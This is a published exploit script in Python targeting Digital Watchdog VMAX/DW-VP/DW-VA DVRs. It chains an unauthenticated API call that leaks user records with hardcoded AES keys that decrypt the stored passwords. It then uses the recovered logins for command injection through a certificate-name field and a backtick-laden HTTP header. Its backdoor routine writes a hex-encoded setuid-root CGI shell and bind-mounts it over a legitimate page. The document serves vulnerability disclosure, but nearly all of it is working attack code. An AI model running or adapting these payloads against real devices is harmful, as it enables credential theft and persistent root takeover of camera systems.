📄 Digital Watchdog DVR VMAX / DW-VP / DW-VA Credential Disclosure / Code Execution

# Exploit Title: Digital Watchdog DVR VMAX/DW-VP/DW-VA unauth credential disclosure and post-auth RCE
    # Date: 2026-01-06
    # Exploit Author: Christian Inci
    # Vendor Homepage: https://digital-watchdog.com/
    # Version: various, until latest from 2025
    # Tested on: various
    
    
    #!/usr/bin/env python3
    
    # this file is released because some mirai/kad fork network might use the very same vulnerabilities since a day or so (at least since 2026-03-13)
    # support.digital-watchdog.com mentions something about the firmware not having any backdoors, but some things inside it might classify as one.
    # they don't accept any "technical support" requests or vulnerability reports without being an active customer of theirs.
    
    # this is very unoptimized, and not even put in classes, like my other files, because who even cares.
    # should work for at least:
    # VMAXIPPlus/HN-6509/2nd gen DW-VP16xT16P/v1.5.2.4 (latest? from 2022-10-25) (H/W: v8.0.0)
    # VMAXA1Plus/DW-VA1P4xT/1.0.1.67 (latest from 2025-06-24)
    # VMAXA1G4/DW-VA1G416xT/DW-VA1G4416[sic, according to the download page] 1.0.9.0 (2023-03-03)
    # most likely also VMAXA1G4/DW-VA1G416xT/DW-VA1G416 1.0.13.11 (latest from 2025-10-10) if the upgrade would work
    
    import sys, requests, traceback
    from Cryptodome.Cipher import AES, PKCS1_v1_5
    from Cryptodome.PublicKey import RSA
    from Cryptodome.Util.Padding import pad, unpad
    from base64 import b64decode as bd, b64encode as be
    from binascii import unhexlify
    from random import randbytes, choice, sample
    import string
    
    url = sys.argv[1]
    cmd = sys.argv[2]
    
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    requestsSession = requests.Session()
    headers = {'User-Agent': ''}
    data_is_encrypted = False
    rsa_pub_key = ''
    rsa_session_key = ''
    
    # some oem (most likely focushns) has a yet unknown key, I can't download the firmware file since the download function of their website is broken since months.
    keys = [(b'0vMAXsPECTRUMnANUGOcErritos16220',b'dIgItALwATCHdOG3')]
    
    def get_rand(n):
        ##rnd_key = randbytes(n)
        s = string.ascii_letters+string.digits
        s *= 10
        rnd_key = ''.join(sample(s, n))
        return rnd_key
    
    def rsa_decrypt(priv_key, c):
        rsa = RSA.import_key(bd(priv_key))
        cipher = PKCS1_v1_5.new(rsa)
        m = cipher.decrypt(bd(c))
        return m
    
    def rsa_encrypt(priv_key, m):
        if (isinstance(m, str)):
            m = m.encode()
        rsa = RSA.import_key(bd(priv_key))
        cipher = PKCS1_v1_5.new(rsa)
        c = be(cipher.encrypt(m))
        return c
    
    def rsa_encrypt_pub(pub_key, m):
        if (isinstance(m, str)):
            m = m.encode()
        rsa = RSA.import_key(bd(pub_key))
        cipher = PKCS1_v1_5.new(rsa)
        c = be(cipher.encrypt(m))
        return c
    
    def do_get(full_url, cookies=None, timeout=60):
        resp = None
        try:
            resp = requestsSession.get(full_url, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
        except:
            traceback.print_exc()
            return
        return resp
    
    def do_post(full_url, data, cookies=None, timeout=60, getData=True, doJson=True):
        resp = None
        json = None
        if (doJson):
            json = data
            data = None
        try:
            resp = requestsSession.post(full_url, json=json, data=data, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
            if (getData):
                resp = resp.json()
        except:
            traceback.print_exc()
            return
        return resp
    
    def decode_user(user):
        username = user['username']
        encrypted_password = user['password']
        password = ''
        for key in keys:
            try:
                password = unpad(AES.new(key=key[0],iv=key[1],mode=AES.MODE_CBC).decrypt(bd(encrypted_password)), 16).decode()
                break
            except:
                #pass
                traceback.print_exc()
                print(user)
                continue
        print(f'{username}:{password}')
        return username, password
    
    def get_rsa(content):
        rsa_pub_key = ''
        rsa_session_key = ''
        lines = content.split(b'\n')
        for line in lines:
            line_split = line.split(b'"')
            if (b'rsa_pub_key' in line_split[0]):
                rsa_pub_key = line_split[1].decode()
            elif (b'rsa_session_key' in line_split[0]):
                rsa_session_key = line_split[1].decode()
        return rsa_pub_key, rsa_session_key
    
    def do_login(username, password):
        global data_is_encrypted, rsa_pub_key, rsa_session_key
        cookies, rsa_pub_key, rsa_session_key = is_login_encrypted()
        if (rsa_pub_key and rsa_session_key):
            print('Forms are encrypted')
            data_is_encrypted = True
            do_encrypted_login(username, password)
        else:
            print('Forms are unencrypted')
            data_is_encrypted = False
            do_unencrypted_login(username, password)
        return cookies
    
    def set_enc_vars(data, pub_key, session_key):
        rnd_key = get_rand(64)
        enc_key = rsa_encrypt_pub(pub_key, rnd_key)
        ses_key = rsa_encrypt_pub(pub_key, session_key)
        data.update({"rsa_session":session_key})
        data.update({"rnd_key":rnd_key})
        data.update({"enc_key":enc_key})
        data.update({"ses_key":ses_key})
    
    def is_login_encrypted():
        login_resp = do_get(f'{url}/cgi-bin/login.cgi')
        cookies = login_resp.cookies
        #print(login_resp.content)
        rsa_pub_key, rsa_session_key = get_rsa(login_resp.content)
        return cookies, rsa_pub_key, rsa_session_key
    
    def do_unencrypted_login(username, password):
        login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}, getData=False, doJson=False)
        print(login_resp.headers)
        print(login_resp.content)
        location = login_resp.headers.get('Location', '')
        if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
            print(f'login error: {location}')
            #pass
            exit(1)
        cookies = login_resp.cookies
        return cookies
    
    def do_encrypted_login(username, password):
        data = {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}
        data.update({"login_type":rsa_encrypt_pub(rsa_pub_key, data["login_type"])})
        data.update({"enc_uid":rsa_encrypt_pub(rsa_pub_key, data["login_id"])})
        data.update({"enc_upwd":rsa_encrypt_pub(rsa_pub_key, data["login_pwd"])})
        data.update({"login_id":''})
        data.update({"login_pwd":''})
        set_enc_vars(data, rsa_pub_key, rsa_session_key)
        login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', data, getData=False, doJson=False)
        print(login_resp.headers)
        print(login_resp.content)
        location = login_resp.headers.get('Location', '')
        if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
            print(f'login error: {location}')
            #pass
            exit(1)
        cookies = login_resp.cookies
        return cookies
    
    def do_unencrypted_rce(cookies, cmd, cmd2=''):
        print(cookies)
        category = "setup_network_https_cert_view"
        cert_name = f'a # \n {cmd} #'
        if (cmd2):
            headers['abcdef']=f'ghi`{cmd2}`jkl'
        data = {"category":category,"cert_name":cert_name}
        resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
        print(resp)
    
    def do_encrypted_rce(cookies, cmd, cmd2=''):
        print(cookies)
        category = "setup_network_https_cert_view"
        cert_name = f'a" # \n {cmd} # "'
        if (cmd2):
            #cert_name = f'a" # \n id \n {cmd} # "'
            headers['abcdef']=f'ghi`{cmd2}`jkl'
        data = {"category":category,"cert_name":cert_name}
        set_enc_vars(data, rsa_pub_key, rsa_session_key)
        # cert_name is NOT encrypted!!
        data.update({"category":rsa_encrypt_pub(rsa_pub_key, data["category"])})
        resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
        print(resp)
    
    def do_rce(cookies, cmd, cmd2=''):
        if (data_is_encrypted):
            do_encrypted_rce(cookies, cmd, cmd2)
        else:
            do_unencrypted_rce(cookies, cmd, cmd2)
    
    def do_backdoor(cookies):
        tmpdir = '/dev/'
        cmd = f'cp /proc/self/environ {tmpdir}/.e0 # \n sed -i "a " {tmpdir}/.e0 # \n cat {tmpdir}/.e0 # \n sh {tmpdir}/.e0 # \n mount -o remount,ro / # \n mount # \n rm {tmpdir}/.e0 #'
        filename = '/dev/.go000.cgi'
        # not all versions include base64
        cmd2 = f"rm -f {filename} ; echo -ne '\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x65\\x63\\x68\\x6f\\x20\\x2d\\x6e\\x65\\x20\\x22\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\\x74\\x65\\x78\\x74\\x2f\\x70\\x6c\\x61\\x69\\x6e\\x5c\\x72\\x5c\\x6e\\x5c\\x72\\x5c\\x6e\\x22\\x0a\\x63\\x61\\x74\\x20\\x7c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x32\\x3e\\x26\\x31\\x0a' > {filename} ; chmod 6755 {filename} ; chown 0:0 {filename} ; mount -o bind {filename} /var/www/cgi-bin/setup_network_https_cert_upload_pkcs12.cgi"
        do_rce(cookies, cmd, cmd2)
    
    def get_param_id_mac():
        device_info = do_post(f'{url}/api/publicCmd', {"command":"getDeviceInfo"})
        if (not device_info):
            print('not device_info')
            exit(1)
    
        param_id = device_info['reply']['id']
        param_mac = device_info['reply']['mac']
        return param_id, param_mac
    
    def get_ddns(param_id, param_mac):
        general_ddns = do_post(f'{url}/api/publicCmd', {"command":"setup/general/system"})
        if (not general_ddns):
            print('not general_ddns')
            exit(1)
    
        print(general_ddns)
        #users = general_ddns['reply']['users']
        #return users
    
    def get_users(param_id, param_mac):
        general_user = do_post(f'{url}/api/publicCmd', {"method":"get","command":"setup/general/user","id":param_id,"mac": param_mac})
        if (not general_user):
            print('not general_user')
            exit(1)
    
        #print(general_user)
        users = general_user['reply']['users']
        return users
    
    def run():
        #cookies = do_login('admin', 'global')
        #rsa_decrypt()
        #do_rce(cookies, cmd)
        #do_backdoor(cookies)
        #return
        param_id, param_mac = get_param_id_mac()
        #get_ddns(param_id, param_mac)
        #return
        users = get_users(param_id, param_mac)
        for user in users:
            username, password = decode_user(user)
            print(username, password)
        #return
        for user in users:
        #for user in users[0:1]:
            username, password = decode_user(user)
            cookies = do_login(username, password)
            #do_rce(cookies, cmd)
            do_backdoor(cookies)
        #
    #
    
    run()